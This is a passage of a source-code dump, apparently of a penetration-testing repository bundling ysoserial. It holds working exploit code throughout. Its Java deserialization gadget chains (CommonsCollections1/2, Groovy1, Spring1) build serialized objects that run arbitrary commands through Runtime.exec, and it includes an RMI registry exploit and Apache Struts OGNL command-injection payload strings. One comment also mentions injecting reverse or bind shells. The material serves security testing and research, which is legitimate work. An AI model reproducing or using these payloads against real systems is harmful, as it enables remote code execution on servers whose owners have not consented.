cmd); 229 | payload6 = payload6.replace("CMDHERE", cmd); 230 | payload7 = payload7.replace("CMDHERE", cmd); 231 | 232 | 233 | String payload1 = "?debug=browser"; 234 | String payload2 = "?debug=browser&object=%23action"; 235 | String payload3 = "?debug=command&expression={3*4}"; 236 | String payload4 = "?action:%25{3*5}
?redirect:%25{3*5}\r\n"; 237 | String payload5 = "?redirect:http://www.google.com"; 238 | 239 | String tmp = "" + css + "" + div("Non Debug Command Line Exploits:","title"); 240 | tmp += "---Struts < 2.3.14.1:
"; 241 | tmp += p(payload6, "code"); 242 | tmp += "---Struts 2.3.14.2:
"; 243 | tmp += p(payload7, "code"); 244 | tmp += "---Other(non-command injection):
"; 245 | tmp += p(payload4 + "

" + payload5, "code"); 246 | tmp += div("Debug Mode Attacks:","title"); 247 | tmp += p("?debug=command&expression="+ payload0, "code"); 248 | tmp += "---Other(non-command injection):
"; 249 | tmp += p(payload1 + "
" + payload2 + "
" + payload3,"code"); 250 | tmp += div("Other Info:", "tile"); 251 | tmp +="Struts apps usually end in the following extensions [.do, .action, .go]"; 252 | tmp += ""; 253 | return tmp; 254 | } 255 | 256 | public String executeYsoSerial(String payloadType, String command){ 257 | 258 | final Class payloadClass = getPayloadClass(payloadType); 259 | if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { 260 | System.err.println("Invalid payload type '" + payloadType + "'"); 261 | } 262 | 263 | try { 264 | final ObjectPayload payload = payloadClass.newInstance(); 265 | final Object object = payload.getObject(command); 266 | final ByteArrayOutputStream bos = new ByteArrayOutputStream(); 267 | final ObjectOutputStream objOut = new ObjectOutputStream(bos); 268 | objOut.writeObject(object); 269 | rawPayload = bos.toByteArray(); 270 | payloadStr = Base64.getEncoder().encodeToString(rawPayload); 271 | String encoded = "" + css + "" +div(payloadType + " payload:", "title") + p(payloadStr,"code") + ""; 272 | return encoded; 273 | } catch (Throwable e) { 274 | System.err.println("Error while generating or serializing payload"); 275 | e.printStackTrace(); 276 | return e.getMessage(); 277 | } 278 | } 279 | @SuppressWarnings("unchecked") 280 | private static Class getPayloadClass(final String className) { 281 | try { 282 | return (Class) Class.forName(className); 283 | } catch (Exception e1) { 284 | } 285 | try { 286 | return (Class) Class.forName(GeneratePayload.class.getPackage().getName() 287 | + ".payloads." + className); 288 | } catch (Exception e2) { 289 | } 290 | return null; 291 | } 292 | 293 | public Object getPayloadText(String opt) throws UnsupportedEncodingException{ 294 | if(opt.equals("b64")) 295 | return payloadStr; 296 | else if(opt.equals("eurl")) 297 | return URLEncoder.encode(payloadStr, "UTF-8"); 298 | else if(opt.equals("raw")) 299 | return rawPayload; 300 | else 301 | return null; 302 | 303 | 304 | } 305 | } 306 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/Deserialize.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | 8 | import ysoserial.payloads.util.Serializables; 9 | 10 | /* 11 | * for testing payloads across process boundaries 12 | */ 13 | public class Deserialize { 14 | public static void main(final String[] args) throws ClassNotFoundException, IOException { 15 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 16 | Serializables.deserialize(in); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/ExecBlockingSecurityManager.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.security.Permission; 4 | import java.util.concurrent.Callable; 5 | 6 | public class ExecBlockingSecurityManager extends SecurityManager { 7 | @Override 8 | public void checkPermission(final Permission perm) { } 9 | 10 | @Override 11 | public void checkPermission(final Permission perm, final Object context) { } 12 | 13 | public void checkExec(final String cmd) { 14 | super.checkExec(cmd); 15 | // throw a special exception to ensure we can detect exec() in the test 16 | throw new ExecException(cmd); 17 | }; 18 | 19 | @SuppressWarnings("serial") 20 | public static class ExecException extends RuntimeException { 21 | private final String cmd; 22 | public ExecException(String cmd) { this.cmd = cmd; } 23 | public String getCmd() { return cmd; } 24 | } 25 | 26 | public static void wrap(final Runnable runnable) throws Exception { 27 | wrap(new Callable(){ 28 | public Void call() throws Exception { 29 | runnable.run(); 30 | return null; 31 | } 32 | }); 33 | } 34 | 35 | public static T wrap(final Callable callable) throws Exception { 36 | SecurityManager sm = System.getSecurityManager(); 37 | System.setSecurityManager(new ExecBlockingSecurityManager()); 38 | try { 39 | return callable.call(); 40 | } finally { 41 | System.setSecurityManager(sm); 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/GeneratePayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.util.ArrayList; 6 | import java.util.Base64; 7 | import java.util.Collection; 8 | import java.util.Collections; 9 | import java.util.Comparator; 10 | import java.util.List; 11 | import java.util.Set; 12 | 13 | import org.reflections.Reflections; 14 | 15 | import ysoserial.payloads.ObjectPayload; 16 | 17 | @SuppressWarnings("rawtypes") 18 | public class GeneratePayload { 19 | 20 | private static final int INTERNAL_ERROR_CODE = 70; 21 | private static final int USAGE_CODE = 64; 22 | 23 | public static void main(final String[] args) { 24 | if (args.length != 2) { 25 | printUsage(); 26 | System.exit(USAGE_CODE); 27 | } 28 | final String payloadType = args[0]; 29 | final String command = args[1]; 30 | 31 | final Class payloadClass = getPayloadClass(payloadType); 32 | if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { 33 | System.err.println("Invalid payload type '" + payloadType + "'"); 34 | printUsage(); 35 | System.exit(USAGE_CODE); 36 | } 37 | 38 | try { 39 | final ObjectPayload payload = payloadClass.newInstance(); 40 | final Object object = payload.getObject(command); 41 | final ByteArrayOutputStream bos = new ByteArrayOutputStream(); 42 | final ObjectOutputStream objOut = new ObjectOutputStream(bos); 43 | objOut.writeObject(object); 44 | byte[] byteObject = bos.toByteArray(); 45 | String encoded = Base64.getEncoder().encodeToString(byteObject); 46 | System.out.println(encoded); 47 | } catch (Throwable e) { 48 | System.err.println("Error while generating or serializing payload"); 49 | e.printStackTrace(); 50 | System.exit(INTERNAL_ERROR_CODE); 51 | } 52 | System.exit(0); 53 | } 54 | 55 | @SuppressWarnings("unchecked") 56 | private static Class getPayloadClass(final String className) { 57 | try { 58 | return (Class) Class.forName(className); 59 | } catch (Exception e1) { 60 | } 61 | try { 62 | return (Class) Class.forName(GeneratePayload.class.getPackage().getName() 63 | + ".payloads." + className); 64 | } catch (Exception e2) { 65 | } 66 | return null; 67 | } 68 | 69 | private static void printUsage() { 70 | System.err.println("Y SO SERIAL?"); 71 | System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); 72 | System.err.println("\tAvailable payload types:"); 73 | final List> payloadClasses = 74 | new ArrayList>(getPayloadClasses()); 75 | Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize 76 | for (Class payloadClass : payloadClasses) { 77 | System.err.println("\t\t" + payloadClass.getSimpleName()); 78 | } 79 | } 80 | 81 | // get payload classes by classpath scanning 82 | private static Collection> getPayloadClasses() { 83 | final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName()); 84 | final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); 85 | return payloadTypes; 86 | } 87 | 88 | public static class ToStringComparator implements Comparator { 89 | public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } 90 | } 91 | 92 | } 93 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/RMIRegistryExploit.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.rmi.Remote; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.rmi.registry.Registry; 6 | import java.util.Arrays; 7 | import java.util.concurrent.Callable; 8 | 9 | import ysoserial.payloads.CommonsCollections1; 10 | import ysoserial.payloads.ObjectPayload; 11 | import ysoserial.payloads.util.Gadgets; 12 | 13 | /* 14 | * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. 15 | * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. 16 | * 17 | * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote 18 | * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . 19 | */ 20 | public class RMIRegistryExploit { 21 | public static void main(final String[] args) throws Exception { 22 | // ensure payload doesn't detonate during construction or deserialization 23 | ExecBlockingSecurityManager.wrap(new Callable(){public Void call() throws Exception { 24 | Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); 25 | String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; 26 | Class payloadClass = (Class) Class.forName(className); 27 | Object payload = payloadClass.newInstance().getObject(args[3]); 28 | Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); 29 | try { 30 | registry.bind("pwned", remote); 31 | } catch (Throwable e) { 32 | e.printStackTrace(); 33 | } 34 | 35 | try { 36 | String[] names = registry.list(); 37 | for (String name : names) { 38 | System.out.println("looking up '" + name + "'"); 39 | try { 40 | Remote rem = registry.lookup(name); 41 | System.out.println(Arrays.asList(rem.getClass().getInterfaces())); 42 | } catch (Throwable e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | } catch (Throwable e) { 47 | e.printStackTrace(); 48 | } 49 | 50 | return null; 51 | }}); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.functors.InvokerTransformer; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import ysoserial.payloads.annotation.Dependencies; 14 | import ysoserial.payloads.util.Gadgets; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | import ysoserial.payloads.util.Reflections; 17 | 18 | /* 19 | Gadget chain: 20 | ObjectInputStream.readObject() 21 | AnnotationInvocationHandler.readObject() 22 | Map(Proxy).entrySet() 23 | AnnotationInvocationHandler.invoke() 24 | LazyMap.get() 25 | ChainedTransformer.transform() 26 | ConstantTransformer.transform() 27 | InvokerTransformer.transform() 28 | Method.invoke() 29 | Class.getMethod() 30 | InvokerTransformer.transform() 31 | Method.invoke() 32 | Runtime.getRuntime() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Runtime.exec() 36 | 37 | Requires: 38 | commons-collections 39 | */ 40 | @SuppressWarnings({"rawtypes", "unchecked"}) 41 | @Dependencies({"commons-collections:commons-collections:3.1"}) 42 | public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { 43 | 44 | public InvocationHandler getObject(final String command) throws Exception { 45 | final String[] execArgs = command.split(",,"); 46 | // inert chain for setup 47 | final Transformer transformerChain = new ChainedTransformer( 48 | new Transformer[]{ new ConstantTransformer(1) }); 49 | // real chain for after setup 50 | final Transformer[] transformers = new Transformer[] { 51 | new ConstantTransformer(Runtime.class), 52 | new InvokerTransformer("getMethod", new Class[] { 53 | String.class, Class[].class }, new Object[] { 54 | "getRuntime", new Class[0] }), 55 | new InvokerTransformer("invoke", new Class[] { 56 | Object.class, Object[].class }, new Object[] { 57 | null, new Object[0] }), 58 | new InvokerTransformer("exec", 59 | new Class[] { String[].class }, new Object[]{execArgs}), 60 | new ConstantTransformer(1) }; 61 | 62 | final Map innerMap = new HashMap(); 63 | 64 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 65 | 66 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 67 | 68 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 69 | 70 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 71 | 72 | return handler; 73 | } 74 | 75 | public static void main(final String[] args) throws Exception { 76 | PayloadRunner.run(CommonsCollections1.class, args); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 28 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 29 | public class CommonsCollections2 implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); 33 | // mock method name until armed 34 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 35 | 36 | // create queue with numbers and basic comparator 37 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 38 | // stub data for replacement later 39 | queue.add(1); 40 | queue.add(1); 41 | 42 | // switch method called by comparator 43 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 44 | 45 | // switch contents of queue 46 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 47 | queueArray[0] = templates; 48 | queueArray[1] = 1; 49 | 50 | return queue; 51 | } 52 | 53 | public static void main(final String[] args) throws Exception { 54 | PayloadRunner.run(CommonsCollections2.class, args); 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/Groovy1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.Map; 5 | 6 | import org.codehaus.groovy.runtime.ConvertedClosure; 7 | import org.codehaus.groovy.runtime.MethodClosure; 8 | 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | 13 | /* 14 | Gadget chain: 15 | ObjectInputStream.readObject() 16 | PriorityQueue.readObject() 17 | Comparator.compare() (Proxy) 18 | ConvertedClosure.invoke() 19 | MethodClosure.call() 20 | ... 21 | Method.invoke() 22 | Runtime.exec() 23 | 24 | Requires: 25 | groovy 26 | */ 27 | 28 | @SuppressWarnings({ "rawtypes", "unchecked" }) 29 | @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) 30 | public class Groovy1 extends PayloadRunner implements ObjectPayload { 31 | 32 | public InvocationHandler getObject(final String command) throws Exception { 33 | final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command.split(",,"), "execute"), "entrySet"); 34 | 35 | final Map map = Gadgets.createProxy(closure, Map.class); 36 | 37 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); 38 | 39 | return handler; 40 | } 41 | 42 | public static void main(final String[] args) throws Exception { 43 | PayloadRunner.run(Groovy1.class, args); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/ObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | public interface ObjectPayload { 4 | /* 5 | * return armed payload object to be serialized that will execute specified 6 | * command on deserialization 7 | */ 8 | public T getObject(String command) throws Exception; 9 | } 10 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/Spring1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import static java.lang.Class.forName; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import org.springframework.beans.factory.ObjectFactory; 12 | 13 | import ysoserial.payloads.annotation.Dependencies; 14 | import ysoserial.payloads.util.Gadgets; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | import ysoserial.payloads.util.Reflections; 17 | 18 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 19 | 20 | /* 21 | Gadget chain: 22 | 23 | ObjectInputStream.readObject() 24 | SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 25 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 26 | AnnotationInvocationHandler.invoke() 27 | HashMap.get() 28 | ReflectionUtils.findMethod() 29 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 30 | AnnotationInvocationHandler.invoke() 31 | HashMap.get() 32 | ReflectionUtils.invokeMethod() 33 | Method.invoke() 34 | Templates(Proxy).newTransformer() 35 | AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() 36 | ObjectFactory(Proxy).getObject() 37 | AnnotationInvocationHandler.invoke() 38 | HashMap.get() 39 | Method.invoke() 40 | TemplatesImpl.newTransformer() 41 | TemplatesImpl.getTransletInstance() 42 | TemplatesImpl.defineTransletClasses() 43 | TemplatesImpl.TransletClassLoader.defineClass() 44 | Pwner*(Javassist-generated). 45 | Runtime.exec() 46 | 47 | */ 48 | 49 | @SuppressWarnings({"restriction", "rawtypes"}) 50 | @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) 51 | public class Spring1 extends PayloadRunner implements ObjectPayload { 52 | 53 | public Object getObject(final String command) throws Exception { 54 | final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); 55 | 56 | final ObjectFactory objectFactoryProxy = 57 | Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); 58 | 59 | final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 60 | Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") 61 | .newInstance(objectFactoryProxy), Type.class, Templates.class); 62 | 63 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 64 | Gadgets.createMap("getType", typeTemplatesProxy), 65 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 66 | 67 | final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); 68 | final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); 69 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 70 | 71 | return mitp; 72 | } 73 | 74 | public static void main(final String[] args) throws Exception { 75 | PayloadRunner.run(Spring1.class, args); 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Target(ElementType.TYPE) 9 | @Retention(RetentionPolicy.RUNTIME) 10 | public @interface Dependencies { 11 | String[] value() default {}; 12 | } 13 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/util/Gadgets.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.Serializable; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.InvocationHandler; 6 | import java.lang.reflect.Proxy; 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | import javassist.ClassClassPath; 11 | import javassist.ClassPool; 12 | import javassist.CtClass; 13 | 14 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 15 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 16 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 17 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 18 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 19 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 20 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 21 | 22 | /* 23 | * utility generator functions for common jdk-only gadgets 24 | */ 25 | @SuppressWarnings("restriction") 26 | public class Gadgets { 27 | private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 28 | 29 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 30 | private static final long serialVersionUID = -5971610431559700674L; 31 | 32 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} 33 | 34 | @Override 35 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} 36 | } 37 | 38 | // required to make TemplatesImpl happy 39 | public static class Foo implements Serializable { 40 | private static final long serialVersionUID = 8207363842866235160L; 41 | } 42 | 43 | public static T createMemoitizedProxy(final Map map, final Class iface, 44 | final Class ... ifaces) throws Exception { 45 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 46 | } 47 | 48 | public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { 49 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 50 | } 51 | 52 | public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { 53 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 54 | allIfaces[0] = iface; 55 | if (ifaces.length > 0) { 56 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 57 | } 58 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); 59 | } 60 | 61 | public static Map createMap(final String key, final Object val) { 62 | final Map map = new HashMap(); 63 | map.put(key,val); 64 | return map; 65 | } 66 | 67 | public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { 68 | final TemplatesImpl templates = new TemplatesImpl(); 69 | 70 | // use template gadget class 71 | ClassPool pool = ClassPool.getDefault(); 72 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 73 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 74 | // run command in static initializer 75 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 76 | //clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); 77 | String arrayCmd ="new String[]{"; 78 | for(String s : command.split(",,")){ 79 | arrayCmd += "\""+s.replaceAll("\"", "\\\\\"") + "\","; 80 | } 81 | arrayCmd = arrayCmd.substring(0, arrayCmd.length()-1); 82 | arrayCmd += "}"; 83 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(" +arrayCmd + ");"); 84 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 85 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 86 | 87 | final byte[] classBytes = clazz.toBytecode(); 88 | 89 | // inject class bytes into instance 90 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 91 | classBytes, 92 | ClassFiles.classAsBytes(Foo.class)}); 93 | 94 | // required to make TemplatesImpl happy 95 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 96 | Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 97 | return templates; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/util/PayloadRunner.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import static ysoserial.payloads.util.Serializables.deserialize; 4 | import static ysoserial.payloads.util.Serializables.serialize; 5 | 6 | import java.util.concurrent.Callable; 7 | 8 | import ysoserial.ExecBlockingSecurityManager; 9 | import ysoserial.payloads.ObjectPayload; 10 | 11 | /* 12 | * utility class for running exploits locally from command line 13 | */ 14 | @SuppressWarnings("unused") 15 | public class PayloadRunner { 16 | public static void run(final Class> clazz, final String[] args) throws Exception { 17 | // ensure payload generation doesn't throw an exception 18 | byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable(){ 19 | public byte[] call() throws Exception { 20 | final String command ="bash,,-c,,echo \"test\" > /tmp/yoso.txt";//args.length > 0 && args[0] != null ? args[0] : "calc.exe"; 21 | 22 | 23 | 24 | System.out.println("generating payload object(s) for command: '" + command + "'"); 25 | 26 | final Object objBefore = clazz.newInstance().getObject(command); 27 | 28 | System.out.println("serializing payload"); 29 | 30 | return serialize(objBefore); 31 | }}); 32 | 33 | try { 34 | System.out.println("deserializing payload"); 35 | final Object objAfter = deserialize(serialized); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | } 39 | 40 | } 41 | 42 | } 43 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Field; 5 | 6 | public class Reflections { 7 | 8 | public static Field getField(final Class clazz, final String fieldName) throws Exception { 9 | Field field = clazz.getDeclaredField(fieldName); 10 | if (field == null && clazz.getSuperclass() != null) { 11 | field = getField(clazz.getSuperclass(), fieldName); 12 | } 13 | field.setAccessible(true); 14 | return field; 15 | } 16 | 17 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 18 | final Field field = getField(obj.getClass(), fieldName); 19 | field.set(obj, value); 20 | } 21 | 22 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 23 | final Field field = getField(obj.getClass(), fieldName); 24 | return field.get(obj); 25 | } 26 | 27 | public static Constructor getFirstCtor(final String name) throws Exception { 28 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 29 | ctor.setAccessible(true); 30 | return ctor; 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /ysoserial/src/ysoserial/payloads/util/Serializables.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | import java.io.ObjectInputStream; 8 | import java.io.ObjectOutputStream; 9 | import java.io.OutputStream; 10 | 11 | public class Serializables { 12 | 13 | public static byte[] serialize(final Object obj) throws IOException { 14 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 15 | serialize(obj, out); 16 | return out.toByteArray(); 17 | } 18 | 19 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 20 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 21 | objOut.writeObject(obj); 22 | } 23 | 24 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 25 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 26 | return deserialize(in); 27 | } 28 | 29 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 30 | final ObjectInputStream objIn = new ObjectInputStream(in); 31 | return objIn.readObject(); 32 | } 33 | 34 | } -------------------------------------------------------------------------------- /ysoserial/ysoserial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/ysoserial/ysoserial.png --------------------------------------------------------------------------------